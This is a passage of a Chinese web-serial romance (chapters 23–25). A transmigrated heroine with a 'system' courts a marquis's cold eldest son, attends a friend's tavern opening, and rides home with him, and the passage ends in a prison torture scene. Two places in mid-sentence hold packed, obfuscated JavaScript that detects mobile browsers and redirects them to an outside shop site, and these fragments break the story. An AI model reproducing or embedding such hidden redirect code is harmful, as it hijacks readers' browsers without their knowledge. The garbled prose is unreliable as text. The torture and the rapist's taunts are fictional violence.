邬涟面色淡淡看着她含着怒气走到门边,看样子是想开门离去,但不知为何,走到半路,又生硬地掉了个头,对着他僵硬地露出了一个满是怨气的微笑。 她在心里骂骂咧咧,抬头对上邬涟不解的眼神,又恢复了她原本的小白花人设,夹着嗓子柔声问道:“既然大公子说没有生气那便是我多想,方才可有伤到哪里?” 邬涟垂眸,见到她笑意盈盈,这种笑容他在她脸上看到过许多次,也不知有几分真切。 虽然手肘处还有些隐隐作痛,想来是方才摔下去的时候毫无防备磕到了,但他敛眸淡声道: “我无碍。” 然而她却并未将他的话听进去。 身前女子忽地凑近,在他身侧嗅了嗅,然后精准地朝着他受伤的手肘处摸去。 他钳住她细弱的手腕,面色微红:“你想做什么?” 叶冬知睁着一双含秋水眸,无辜道:“看看你的伤口啊,难道你不处理吗。” “不必,我自会处置。” 饶是他这般说,但叶冬知却未听。 她在脑海中扫了眼系统即时发布的新任务,就自顾自将灯笼放在桌上,就着这点微弱的光,她伸手去撩他的袖子。 寝衣的料子单薄又顺滑,她的指间微凉,触碰到他的肌肤时,他有几分战栗。 她握住他的小臂,触感莹润且结实有力,精瘦却肌肉饱满。 一种隐秘的战栗感一路顺着手臂滑进心脏中。 邬涟长睫无措地轻颤,敛眸去看身侧的人,却没有再次出声拒绝。 叶冬知掀开衣袖,见着他白皙的手肘上一片猩红,连带着手肘处的衣裳都粘连在一起。 她凑近仔细看了看,红唇撅起,对着伤口轻轻吹了口气,轻声问道:“痛吗?” 因着两人离得近,是以她的声音很低,含着怜惜的询问裹着她馨香的吐息喷在他颈侧,令他不由自主绷紧了身体。 邬涟抬眸,一眨不眨凝视着她的侧脸,莹白的珍珠耳坠嵌在她小巧秀美的耳垂上。 须臾才低声应了一声,“嗯。” 现在的心情对于他来说很是微妙,这点伤在他过往受过的伤中,几乎可以说是忽略不计,他明明可以说自己不需要,却还是不由自主在她耐心温柔的照顾中破了防线。 “房间里有药吗?” 叶冬知将他的袖子挽在一处,才直起身来问道。 药?他愣了一瞬,脸登时蹿上几燥意。 他房里所备的药都放在卧房之中,在床榻一侧的柜子里面。 邬涟从椅子上起身,沉声道:“我去取来。” 一侧的手掌被温软的东西轻轻握住,他垂眸看见一只莹白的手,正覆在他的手上。 她轻轻摇了摇,语气绵软,“你受伤了,还是我去罢。” 他身子陡然僵在原地。 方才,她的动作,是在向他撒娇吗? 心尖像浸了蜜一般,缠绕牵扯出丝丝缕缕的甜。 叶冬知借着烛光,向着里面的卧房而去。 邬涟的卧房陈设简单明了,雅致素净,空气中弥漫着一股浅淡的檀香,同他身上的气味如出一辙。 房内不甚明亮,她只能借着从窗户洒进来的月光去寻床榻边的柜子。 行走之间,膝盖磕在了室内陈设的一角,发出一声钝闷的声响。 叶冬知下意识皱了眉头,从唇齿间溢出一声闷哼。 从里间寻了药,摸索到外间将桌上的蜡烛点亮。 她将药膏抹在指尖,柔声叮嘱:“可能会有些疼,要暂时委屈大公子了。” 未得到答复,她疑惑抬眸却陡然撞进一双墨色沉沉的眸子。 屋内寂静无声,他盯着她,那片黑色之下似乎有不知名的东西在蠢蠢欲动,像是无尽的旋涡要将她吞噬殆尽。 “无妨,你涂便是。” 话语中带着点不自知的安抚,就连疏离的眉眼都在光晕下晕出温润。 他收敛锋芒和冷漠时,卸去了平日带刺的铠甲,在她面前头一次展现出些许柔软内里。 她默默放轻了手中的动作,将伤口细细上好药,将他的袖子放下。 “好啦。” 落在他耳中的声音轻快,带着点少见的俏皮,她笑盈盈看着他,语气揶揄,“现在不生气了吧?” 手肘处被处理得很细致,细细感受,适才的疼痛已经消失,只余点点清凉。 他默不作声地看着她,眼神中染上了些许无措。 心尖处又软又温暖,这是他二十年来从来不曾有过的感觉。 他承认,白日见到邬彦同她那般亲密的样子,他心口发闷,他想不通为何愿舍命救他的人、口口声声话里话外都说心悦他的人,却能毫无顾忌地在另一个人男人的怀里笑得那般畅快。 况且......那样的笑容,她在他的身边,从来没有过。 他视线撞入她眼中的光亮,但是现在,他内心那点莫名的烦躁在此刻也烟消云散。 于是,他只是避开她的眼神,沉声道:“没有。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525166|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻言,她眼中笑意不自然地闪了闪。 奇怪,他怎么、怎么有点乖。 叶冬知垂头将药瓶收好,偏头叹了口气,自责道:“要不是我,你也不会受伤的。” 这句话她确实是真心实意的。 邬涟眼睫颤了颤,不太自然地道了句,“不必自责,伤口并不严重。” 听起来,像是在笨拙地安慰她。 叶冬知收拾东西的动作顿了顿,乐了,“噗嗤”一声笑了。 她特意将身体靠近了几分,上半身微微俯在身前的桌子上,笑得狡黠:“大公子是在安慰我吗?” “嗯。” 声音很低,像是不太好意思一般,说得很快。 她忍住嘴边笑意,抓住时机说出指定的台词。 “可是,大公子受伤,我会心疼的。” 扑通—— 扑通—— 心跳得好快,心跳声在他胸腔里震耳欲聋。 等她收拾好东西准备放回他卧房,手腕却被人轻轻握住。 叶冬知疑惑地垂眸看去,见他拘谨又克制地收回了手。 “怎么啦?” 邬涟对上她的眼,目光沉静,道:“方才我听见你似是磕到了什么东西。” “可有受伤?” 搭在膝盖上的手微微攥紧。 他好似,有些不像自己,话没有经过思考便出了口。 她抱着东西站在屋中,从窗户中倾斜进来的月光洒落在她的身上,她眼中有几分意外。 闻言,叶冬知来了兴趣,几步走到他面前,裙摆在他脚背上荡过。 她有意想逗逗他,于是道:“那不然,大公子帮我看看?” 他脸上又开始涌起一阵燥意,她在说什么,不说他尚且不知她伤在哪里,就算是知道,她还是个未出阁的女子,怎能被外男看见身上肌肤? 叶冬知却没有古人的迂腐思想,便在他面前堂而皇之地撩起裙摆,将层层繁杂堆在一起,露出半截光洁纤细的小腿。 邬涟瞳孔骤然一缩,耳根一热,便飞快地将视线移开。 她到底、到底有没有男女大防! 叶冬知不知他心中所想,看见自己的小腿上有一块指甲盖大小的淤青,映在白皙的肌肤上很是显眼。 她伸手去拿桌上的药膏,却已经有人给她递了过来。 知道那人是谁,她心头一热。 看来邬涟也不像想象中那般不近人情。 叶冬知这么久一直在等系统的指令,半晌之后,直到等到那句: 【恭喜宿主,顺利完成任务。】 她才放下心来,拿起灯笼准备离开。 打开门后,鬼使神差地,她突然心有所感地回头,见着身后的人端正地坐在椅子上,身侧一只即将燃烧殆尽的蜡烛,眼神又恢复成平日那般疏离,整个人随着她关门逐渐被吞噬在无边的寂寥当中。 她停住手上的动作,突然很想对他说句话。 于是,她嘴角扬起清浅笑意,轻声道:“大公子,好梦。” 不同于往常是被迫完成任务,这是她发自内心的。 说不上来原因,大抵是觉得他今晚有些乖吧。 屋内的人,躺回榻上,从枕下翻出一方手帕。 然后放在唇边轻轻蹭了蹭,唇角的笑意便怎么也忍不住逐渐扩大。 身躯随着笑意不停发颤。 嗯,今夜,他会好梦。 24. 第 24 章 已是三更天,院内寂静无声。 邬涟脸颊潮红,后背和脖颈满是湿热的汗。 他翻身坐在床榻上,胸口起伏不定。 身体的反应尚且没有完全消失,他仍能清清楚楚地感觉到自己的反应。 邬涟回忆起梦中的场景。 那般虚妄却又那般真实,他平日里不是没有不经意窥见过她身上的诱人风景,是以,梦境才这般真实,真实到他觉得她衣衫之下的春光当与他梦中如出一撤。 未关严实的窗户被挤开一点缝隙,墨青站在窗棂处,歪着脑袋看他,嘴里突然叫了起来。 “尿床啦!尿床啦!” 他额角青筋突起,起身将墨青隔绝在了窗户之外。 * 院内蝉鸣声声,院里下人从井水里捞了冰镇的西瓜,切好后放置矮几上。 叶冬知倚在躺椅上,一只手拿着话本,另一只手顺手拿了块西瓜吃,旁边阿蔷正给她打扇。 片刻后,她放下话本,叹了口气,“哎,又是这个剧情。不是才子佳人,就是书生与花魁,就没有别的了吗。” 阿蔷接话,“小姐,这都是当下最时新的话本了,说是今日刚到书铺,就卖了一千册呢。” 叶冬知翻了个身,不以为然。 她在现代看得都是什么恨海情天,强取豪夺,哪个不比这些套路有意思,现在一没手机二没网,真的好无聊。 正暗自腹诽着,一小厮从院门外跑进来,朝她恭敬道。 “叶小姐,这里有封您的请柬。” 叶冬知用绢帕擦了擦沾上西瓜汁的手指,才接过打开。 请柬是齐越白让人送来的,说是他病好后开了一家酒楼,邀请她来观礼,今日正是剪彩之日,并且还说为了报答她的救命之恩,他特意给她准备了一份礼物。 叶冬知是个俗人,一听不光有热闹看,还有礼物收,当即就从椅子上下来,兴冲冲收拾好出了门。 齐越白的店在最热闹的兴盛坊,她到的时候,只见门口乌泱泱的全是人,酒楼共有三层,装潢富贵华丽,门口一块烫金招牌,上书“醉仙阁”三字。 而齐越白穿着一身宝蓝色衣衫,配同色袖衫和腰带,整个人看起来红光满面,丝毫看不出才生过一场大病。 他旁边站着凌婵,她今日换了身水蓝色的裙衫,和平日凌厉的模样不同,看起来有几分清婉。 两人中间立着一块圆形的木板,木板被划分成均匀的多份,每份都写着诸如“满二百文减价十文”“满四百文减价三十文”等字样。 时候到了,齐越白伸手做了个安静的手势,对着人群道: “哎,本人名齐越白,正是这家酒楼的老板,承蒙各位来捧场,今日是酒楼开张第一日,所有酒菜统统作八成价,不光如此,所有来我醉仙阁的客人都可参与本店的拼刀刀!” 下面人头攒动,有人问:“老板,何为拼刀刀?” 齐越白灿烂一笑,将圆形木板展示在众人眼前,对众人作揖道:“所谓拼刀刀,便是拿特质的小刀扎在这圆盘上,想要减价多少,便扎在相应的位置上。” 有人惊呼,“嚯!倒是新鲜,从未听过这样的玩法!” “是呀,我看上面还写着免单,难道是扎中了,便可以不给饭钱?” 齐越白“哗”地一声将手中折扇甩开,“正是!” 话落,人群中爆发出一阵阵惊呼,随即众人纷纷涌入醉仙阁中。 叶冬知看完了热闹,走至酒楼门口,站在台阶上的齐越白一眼就看见了她。 “呀,终于盼到你来了,叶小姐!” “恭喜恭喜,”她朝着对方挤眉弄眼,小声道,“你这看起来怎么是拼夕夕的套路?” “被你看出来了,这群古人咋见过这种套路,我病着的时候就在想怎么实现攻略目标,现在想想,这大皇商我当定了哈哈哈!” 齐越白凑到她耳边,忍不住低声得意道。 叶冬知拍了拍他的肩,竖起大拇指,“行啊,真有你的。” “不过,你说还给我准备了礼物,到底是什么?” 齐越白神秘一笑,“我预留了包间,咱们边吃边说。” 语罢,他做了个“请”的手势。 叶冬知跟在他与凌婵身后,这才看清他这酒楼的繁华。 一楼是大厅,多是散客,共有三四十张桌子,可容纳近百人。 二楼是大小不一的包厢,风格雅致,寻常人若是肯舍得花钱,便可在其中邀约三五好友聚聚。 最上面一层,价格昂贵,来此之人多半是非富即贵,每间包厢与布局也大有不同。 齐越白领着她在最中间的一间停了下来,这是醉仙阁最豪华的包厢,窗外便可看到湖景。 此时,正是晌午,日头照在清澈如镜的湖面上,显得波光粼粼,从湖面吹拂过来的风夹杂着些微凉意,落在人的面上,冲散了夏日的炎炎燥意。 落座之后,齐越白拿出一份商铺的官府登记文书,上面清楚写着醉仙阁的份子是如何划分的。 其中,齐越白五成,凌婵二成,最后三成,正写着她叶冬知的名字。 “如何,这份礼物可还满意?” 叶冬知难以置信地看着这份文书,耳边传来齐越白的询问,她转头,激动得热泪盈眶。 这么大的酒楼,一个月得赚多少钱啊。 即便只是三成,一个月分到她手上的银两怕是比她一年在侯府的月例还多。 “满意!太满意了!” 但她又觉得有些不好意思,平白无故分走别人这么多银子,“这是不是有点太多了,太贵重了。” 齐越白却一脸仗义地摆手,“要不是沉香屑,我兴许下半辈子都下不来床,哪有精力来开这酒楼,所以,你也不用推辞!” 说着,他握拳捶了捶胸口,“都哥们,不说那些虚的。” 既然对方都如此说了,叶冬知也就欣然接受了。 酒足饭饱后,齐越白掏出了一个巴掌大小的盒子。 她偏头去看,只见拿开盖子后,赫然是一副扑克的样子。 扑克? 她揉了揉眼睛,以为是自己刚才喝了点酒,眼花看错了,等放下手,她抬眼去看,确确实实是一副扑克没错。 再多的话都难以表达出她的震惊,她瞪着眼睛半晌,语气惊讶非常,“你从哪里搞来的?” 说话间,齐越白已经洗好了牌,他努嘴,“在这里实在是太无趣了,这是我遣人做的,拿来消遣解闷的。” “你今日来的正好,这副牌昨日我才拿到还没玩过呢。别告诉我,你不会玩这个。” 听出他话语中的调侃,叶冬知抱臂冷笑,“看不起谁呢,但是只有我们两个怎么玩?” 齐越白嘿嘿一笑,“谁说只有我们两个。” 下一刻,一直坐在一旁沉默不语的凌婵忽然感受到两道不怀好意的目光,顺着目光望过去,那两人眼神放光,眼里的期待几乎要闪瞎她的眼。 凌婵面无表情,“我不会玩这个。” “无碍,婵婵,我来教你!” * 天气燥热,下人们从冰窖里取了冰,送往邬涟的院子。 墨青忘却了昨夜的不悦,正在邬涟的手心欢快地啄食。 长安从库房那处回来,手拿着一个浑身漆黑的盒子,对着窗边的邬涟道:“公子,这是最后一瓶,奴才先给叶小姐送去了。” 邬涟抬眸,视线落在盒子上,突而道: “药膏给我,你去书房将卷宗替我寻来。” 长安顿住脚,心里有些疑惑,但还是乖乖将盒子交到邬涟手上,自己去了书房。 等墨青啄完手中最后一点鸟食,邬涟将手收回,拿着一块打湿的帕子反反复复擦了几遍手才作罢。 他的手掌宽大,手指修长,是以小巧的盒子能正好被他完全包裹在手心里。 手指微微用力,盒子的棱角便硌着他掌心的茧,泛出些细密的痒意。 半晌,他出了院子,朝着兰心居走去。 等到快临近兰心居的时候,他脚步放慢些许,竟觉有些忐忑。 路过府中的一处池塘,池塘里的水经常换着,是以十分清澈,甚至能看见其中的金鱼在荷叶下撒欢。 他突地驻足,透过清澈的水,打量起自己在水中的影子来。 片刻之后,才满意离去。 不多时,他便已到了兰心居。 他站在院门口朝里看了眼,却发现她平日待的屋子大门紧闭,连带着她的贴身侍女阿蔷也不见踪影。 院内洒扫的小丫鬟正在屋檐下偷懒,甫一抬头,便见邬涟正站在院门口,神情淡漠。 小丫鬟吓了一跳,连忙行礼,“请大公子安。” 邬涟淡声问她,“你主子呢?” 小丫鬟垂着头,战战兢兢道:“晌午时小姐接了封请柬,便带着阿蔷姐姐出府了。” 他皱眉,就连语气也不由得重了一些,“何人送的请柬,是男是女?可有说过什么时辰回来?” 小丫鬟吓得缩了缩脖子,手中握着的扫帚也攥得更紧。 她埋着头,磕磕绊绊说:“好似是位公子遣人送的请柬,小姐看完之后便急匆匆出门了,并未说何时回来。” 听完,邬涟面上神情未变,“好,我知晓了。” 唯有宽袖下被遮住的手攥着那木盒,指头隐隐发白。 这算什么? 前些日她口口声声说心悦他,转头就背着他与别的男子出去私会,还急匆匆,到底是有多迫不及待啊。 醉仙阁内。 凌婵聪慧,齐越白讲完了规则,几把下来,她便能得心应手地玩起来。 本来说赌钱,但桌上除了齐越白略有家底,一个常年行走江湖,也没个正经营生,掏不出几个钱,一个虽有府中月例,但那点钱打点下人、平日补给早花得一分不剩。 最后三人一致决定,输了的人要被赢家在脸上画画。 一个时辰后。 齐越白脸上被画得几乎没有下脚的地方。 左脸一个王八,右脸一脸麻子,他趴在桌上哇哇大叫,“你俩是不是背着我出老千,合伙整我呢?” 凌婵皱眉,“何为老千?” 叶冬知看见齐越白一脸糗样,笑得直不起腰来,“别管他,是他自己非要玩的,现在又输不起了。” 听罢,凌婵嗤了声,“你若是不服气,那再来一把!” 齐越白狠狠将牌甩在桌上,“再来就再来,我不信我今日一直这么倒霉。” “行,那先说好,等下输了的人不用被画,玩真心话大冒险,敢不敢?”叶冬知喝了些果酒,至此已经有些醉了,她一边洗着牌,一边朝二人道。 凌婵不明白什么意思,但她脸上干干净净,因此也并不担心自己会输,索性便没有再问。 倒是齐越白被这话激得斗志昂扬,“好啊,等会不许扫兴嗷。” 一局下来,叶冬知输了两家。 凌婵倒是没有为难她,弄懂什么叫“真心话大冒险”后,只是让她唱了个曲子。 轮到齐越白的时候,他摸着下巴若有所思,然后压低了声音,贱兮兮问: “我听说你与永定侯那糟老头子有婚约,虽然他有权有势,但到底年纪太大了,而且府中还有两个俊俏的公子,你当真没有别的心思?” 话落,他就被凌婵狠狠瞪了一眼,“你胡说什么,永定侯也是你能编排的,不要命了?” 齐越白讨好一笑,顺手给她剥了个橘子,“婵婵,这就我们三个,天知地知我们三个知,不说出去不就好了。” 凌婵吃着橘子倒没有说话了,眼神朝着叶冬知看过去,虽然这个问题有些出格,但她还是没忍住熊熊燃烧的八卦之心。 齐越白又起了个头,“先说跟你年纪差不多大的那个,好像是叫邬彦吧,我之前见过,长得一表人才的,你就没有心动?” “他啊,就一小孩子,没什么意思。”叶冬知磕着瓜子,对着齐越白翻了个白眼。 她说的没错,她在现代已经大学毕业,而邬彦才十七八的年纪,在她眼里不就跟小孩似的。 “这样啊,那另一个呢?” 对于她的回答,齐越白并不意外,说到后半句时,他脸上的笑意竟然有几分猥琐,貌似这才是他真正好奇的话题。 毕竟他还记得上次几人在山洞里,他只要一与叶冬知说话,她那所谓的“兄长”便一声不吭盯着两人瞧,虽看不出来神色,但同为男人的直觉,让他还是嗅到了一丝八卦的气息。 提到邬涟,叶冬知顿了顿,才道,“其实也——” 还没等她说完,门外便传来阿蔷慌乱的声音,“大公子,您怎么来了?” 屋里的三人都愣住了。 这不说曹操,曹操到。 听到消息的一瞬间,叶冬知下意识想躲。 她依然记得第一天穿越到这里的时候,邬涟对她所说的话: “你再做出出格的事,为了侯府脸面,我不会手下留情。” 虽然她自知与齐越白并未有男女之情,但落在邬涟眼中就不一定了。 当朝民风开放,可克谨守礼的永定侯大公子是个眼里揉不得沙子的人,若被他亲眼所见,他一定会认为她与外男如此亲密,辱没侯府。 该死,他从来不关心她的去向,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525167|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的突然找上来了。 下一瞬,门被人推开,卷起一阵风,吹得房内的珠帘哗啦作响。 甫自邬涟走进来的一瞬,周围气氛陡然变得压抑起来。 他目色微沉,视线静静落到桌边的三人面前。 齐越白坐在二人中间,正微倾着身子,靠近叶冬知,姿态甚是亲密。 桌上散落着一些薄木片,描画着他未曾见过的图案。 “三位好雅兴,玩得倒是新鲜,不如带邬某也见识一下。” 邬涟薄唇阖动,唇瓣扯出个极浅的笑意,但眼里半点笑意也无,只余一片冰冷。 齐越白搓搓胳膊,低声对叶冬知道,“我怎么觉着他这句话阴阳怪气的呢?” 叶冬知瞪他一眼,“别说了,他武功好,听得见。” 好在齐越白识趣闭了嘴,未再开口。 叶冬知打量着邬涟的神色,一时有些摸不准他来这里的意图,“大公子,今日你不是还未休沐吗,怎么有空到这酒楼来?” 他坐下,顺势拿了两张木片细细打量,指尖缓缓摩挲着边缘,才道: “顺路。” 身后长安大气不敢出,这是公子不悦时常有的动作。 屋内又陷入一片沉寂。 齐越白看了眼邬涟不虞的脸色,起身赶紧客套道:“邬大人驾临,真让小店蓬荜生辉,正巧今日鄙人这酒楼开业,若您想——” “不必。” 邬涟冷声打断。 他侧目看向面前的男人,容貌尚算清俊,但身形瘦弱,脸上更是被笔墨画得一团糟。 这般可笑至极又身无长物的男人,她到底是看上他哪处? 为了他,不惜与他争吵也要得到沉香屑为他续命。 没理会房内脸色各异的人,邬涟抬眼看向垂着头的叶冬知。 她穿着身清凉的夏衫,几乎可以窥见手臂和肩头的肌肤,额头处被人画了两笔,脸颊因饮了酒泛着薄红。 不成体统。 他在心中道了句,才冷声,“玩也玩够了,该回府了吧。” 未指名道姓,也知道这句话是说给谁的。 叶冬知对上他的视线,心中莫名有几分心虚,她起身,路过齐越白和凌婵时,低声道:“下次再聚。” 齐越白面露难色,“要么还是先别来了,我看着他怪吓人的,我担心他一怒把我这小店砸了。” 见她出来,邬涟转身踏出房门,微微偏头,示意她跟上。 上了马车后,叶冬知与邬涟相对而坐。 马车内宽敞,地上铺着一层厚厚的毯子,软榻上的小几放置着香炉,丝丝缕缕的檀香缭绕在车内。 是和邬涟身上一样的味道。 叶冬知低头抠着手指,猜测邬涟估计又要拿那套不知羞耻的话来训斥于她。 然而半晌,却听得他道:“坐过来。” 她抬头看他,见他抿了口茶,语气不容置喙。 拿不准他的心思,她踌躇着慢慢挪到了他的身边。 果酒有些后劲,再加上这车厢内有些闷,她脑子开始昏沉起来。 一抹凉意忽然贴上她的额头。 叶冬知睁大眼睛,见邬涟不知何时拿了一块帕子沾湿,给她擦着额头上被齐越白画上的几笔墨痕。 他一只手撑在软榻之上,另一只手宽袖滑落到手肘处,露出他白皙、线条流畅的半截手臂。 “有碍观瞻。” 片刻,他突地冷脸道了句,手上也加重了力道。 叶冬知不明所以他为何突然自己上手给她擦脸,但此刻脑子昏沉,两颊有些燥热,整个人昏昏欲睡,没有太多心思去想。 于是闻言“哦”了一声。 兴许是酒意上头,她问出了方才一直憋在心里的话:“你不会是特意来逮我的吧?” “不然你这个大忙人,怎么有空来酒楼?” 额头上的动作滞了一下,将墨痕擦干后,邬涟垂眸将手帕叠好放在小几上,大发慈悲地回她,“是。” 叶冬知顿时惊得睁大了眼睛,“为什么?” 像是忽然明白了什么,她有些不确定道:“莫不成是吃醋了?” 虽然她的系统十分鸡肋,看不到攻略进度,但她能清楚感受到邬涟对她的态度。 相较于一开始,确实是好了点。 然而,也只有一点点而已。 他敛眸,避而不谈,“你醉了。” 听到回答叶冬知并不意外,邬涟长在这样的家族中,又自小接受刻板严谨的教养,至少在她的印象中,他几乎从未直截了当说出过自己的感受和心意。 一切以规矩和礼法为先。 车轮压过巷道的青石板,规律地发出一阵阵声响。 她闷了一脑门的薄汗,索性掀起了车帘。 风自车窗涌进来,她舒服地眯了眯眼。 叶冬知用余光扫了眼身侧的人,这么闷热的天,他坐得端正,腰背挺直,里外一共穿着三层薄衫,将脖颈盖得严严实实。 他倒是也不嫌热,她已经闷出了一身汗,他还一身清爽,甚至还不时抿着手边冒着热气的茶水。 察觉到她的视线,他忽而问,“齐越白最后问的那句话,你是如何想的?” “啊。” “你听见了?那只是开玩笑,你别放在心上。” 突然听见邬涟这样问,叶冬知吓了一跳。 她本以为已经够小声了,他在门外应当是没有听见的。 “嗯。”他放下茶杯,“我听得很清楚。” 叶冬知觉得好奇怪,他明明总是训斥她不应对他有想法,但此刻却又为何要问这样的话。 想到一个可能,她当即对着他露出一个含羞的笑意,“答案我早就说过啊,我心悦大公子。” 话落,邬涟垂眸,纤长的睫毛在眼下打出一片阴翳。 他盯着茶水中倒影出的人影,然后嘴角缓缓上扬,牵扯着脸颊微微抽动。 奇异的笑意在他瓷白的脸上绽开,车窗透过的阳光并未洒在他的身上,他所处之处,依旧是一片阴影。 “是吗。” “看来你的心意果真如一。” 叶冬知顺势点头,“那是自然,大公子这般英俊神武,有了大公子珠玉在前,我哪能看得上别人呢。” 邬涟握着茶杯,茶水在杯中晃荡出一片涟漪。 若不是他耳力惊人,还在楼梯上就听见她那未说完的半句话,否则也要被她这幅情深意切的模样给骗了。 她那时想说的,恐怕是“也不心悦他”吧。 此前他还有些猜测她是否真的对他有意,现今证实,此女果然是个不折不扣的骗子。 25. 第 25 章 【滴滴滴!警告警告!检测到目标怒气值攀升,请宿主尽快进行安抚。】 系统的警报声在脑中轰然炸响。 叶冬知愣住了。 她抬头去看邬涟的神色,只见对方正撑着头,一手翻着手中书卷,一副心平气和的模样。 又是莫名其妙的。 无法,她只得在脑中询问系统。 “他为啥生气,完全看不出。” 一阵“滋滋滋”的电流声划过,随即响起系统冷冰冰的机械音: 【无可奉告。】 【但宿主需相信系统的判断。】 在心里暗骂一声,叶冬知甩了甩晕乎乎的头,戳了戳身侧的人,“你不高兴了?” 邬涟斜睨她一眼,并未理会。 见对方没有反应,她焦急地挠了挠头,也不知道是不是因为酒壮怂人胆,她凑到他耳边又问了一遍: “你是不是生气了?” 灼热的呼吸喷洒在耳郭边带起一阵烧灼感,夹杂着些许果酒的味道,他不适地偏过身子,避开她靠近的身躯。 对方冷漠的态度让她心中不虞。 她定定看了一会,然后借着酒劲,一把拉住邬涟的手臂,轻轻甩了甩,拖长了语调: “邬大少爷,我又哪里惹您不开心了?你告诉我呀。” 少女声线软糯,此刻醉了酒,更有几分慵懒和娇气。 邬涟身子微微僵住。 她总这样,能毫无愧疚地玩弄他,却又能面不改色地做出一副情深不渝的模样来哄他。 世上怎么有如此表里不一之人。 他承认,她于他而言确实有救命之恩,但那仍然不能作为她屡次欺骗他的理由。 半晌,他放下手中的书籍,冷脸道: “放手,我不喜与人触碰。” 她似乎酒量很差,醉得有些厉害,闻言,呆呆地看了他几息,眼神里有几分委屈,随即迟钝地放开了手。 这时,系统再次在脑海中催促她。 【警告警告,任务目标怒气值仍在攀升,宿主需尽快完成任务!】 她瘪嘴,扫过邬涟冷若冰霜的面庞,不太敢上前。 “吁——” 车外陡然响起一声马儿的嘶鸣,长安勒停马,朝车厢内道: “公子,是庄大人。” 叶冬知猝不及防摔在了车内的软榻上,好在车内的陈设昂贵舒适,这一摔,她并未受伤,只是脑子更昏沉了几分。 邬涟视线在她身上顿了一下,随即掀开车帘一看,身着一身刑部公服的庄三正持剑站在车外。 庄三持剑抱拳道:“大人,少女失踪案潜逃的主犯已抓到,现下就关在刑部大牢,等候发落。” 邬涟颔首,对长安说,“不必跟来,将她送回府中。” 语罢,便起身准备下马车。 叶冬知伏在软榻之上,见他衣摆自她眼前划过,与此同时,她伸手扯住。 邬涟动作一滞,脸色已然沉了下来,“我有要事,不可使性。” “我不想回府,我跟你一起去。”她回望。 闻言,他的眉头微皱,“你可知那是什么地方,关押的全是朝廷重犯,闲杂无关人等不能擅入。” 叶冬知没再接话,只是抓着他衣摆不肯松手,瞧着他的双眼蒙上一层浅薄的酒意,凭白多了几分朦胧勾人。 若是真让他走了,系统指不定怎么对她。 那种被电流电击全身,几欲失禁的感受,她不想再体会。 邬涟浓黑的眼瞳在她面上停留片刻,才像是有些无奈道,“走吧。” 长安不明所以,“公子,去哪里啊?” “刑部。” 长安愣了一下,虽有些意外,但未多言。 约莫两刻钟后,马车在刑部署前。 当朝刑法严苛,百姓谈此色变,门口更是少见行人经过。 叶冬知好奇掀帘,只见刑部署朱门森然,青瓦压脊,廊庑齐整,一眼望去便透着凛然不可侵犯的肃穆。 堂前石阶清冷,檐角低垂,匾额庄重,四下寂然无声,所有衙役都脸色凝重,动作迅捷。 邬涟掀帘下车,当即有两人恭敬道:“大人,您来了。” 甫一抬头,那两人见马车里还坐着一女子,身段纤柔,姿容娇艳,双颊还泛着绯红。 二人对视一眼,在对方眼里都看到了震惊之色,但到底刑部规矩森严,无人多嘴。 其中一个人开口: “这位小姐如何安置?” 邬涟默了默,“带去休息会吧。” 很快,便有一人引着长安与叶冬知绕过正堂,往北行了片刻,到了一处亭子。 亭子名为白云亭,乃是刑部高官暂时休憩之所,亭后有两间房,可用来歇息。 下午日头大,在亭子里坐了一会,叶冬知便觉有些受不住了,脑袋越发昏沉,口鼻间呼出的热气灼人。 她摇摇晃晃地推开左边那间屋子的门。 屋内不大,只放了一架床,一张桌子,另外便是一扇架子,上面搁着不少的卷宗。 也不知邬涟何时才回来,他能容忍她到这里等着,已经是格外开恩了,大牢定然是不会让她进去。 她倒在床上,身下床板有些硬,一股清浅的檀香从被褥上传来。 看来,平日邬涟上值,便时常在此处小憩。 她脑子又闷又沉,身下被褥面料清凉,她将头埋在被褥间,睡意逐渐涌来。 刑部大牢。 一人身着囚服被挂在刑架上,四肢被寸长的铁钉钉在架子上。 白色的囚服被鲜血染透,血顺着身体滴下来,身下的地面被浸染成暗红色。 邬涟将手中染血的钉鞭递给身侧的下属,然后面不改色掏出一块干净的手帕擦拭着指缝中的血迹。 “大人,这是此犯的供词,但是只有部分,且坚决不承认奸污、杀害女子一罪。” 接过供词扫了两眼,邬涟淡声,“无妨,加上就行。” 那犯人陡然抬起头,一头脏污的头发下,是一张阴狠可怖的脸。 他有气无力地叫骂道:“邬涟!你竟然敢强行定罪?!” 邬涟抬眼,“那又如何?” “我不认!我不认!按照律法,只要我不认罪,你不能拿我怎样!” “你将那些女子卖给嗜好古怪的买家凌辱,又奸污女子十余人,杀害反抗你的女子四人,桩桩件件,哪件冤枉过你。” 邬涟仍波澜不惊,执笔在供词上又添上一行。 那犯人突地怪笑一声,皮开肉绽的脸上诡异至极,“我哪有奸污过她们,她们分明也很享受,况且什么叫杀害?那不过是一点惩罚,谁叫她们不争气,一鞭子下去就断气了。” “放肆!还敢胡诌!” 侯在一侧的下属又狠狠打了一鞭,犯人痛呼一声,笑了。 “哦对了,听说大人不近女色,想必这么多年还是个雏吧。”说着,竟有几分鄙夷和嗤笑。 “也是,你自然不知那事有多快活,女人都浪荡,嘴上说着不要,到头来还不是乖乖岔开双腿。” 等他说完,在刑房的几个下属脸色都变了。 当朝民风开放,京中世家子弟一般自十四岁起便有通房,如邬涟这般已过弱冠之年房中未有姬妾的,当属头一人。 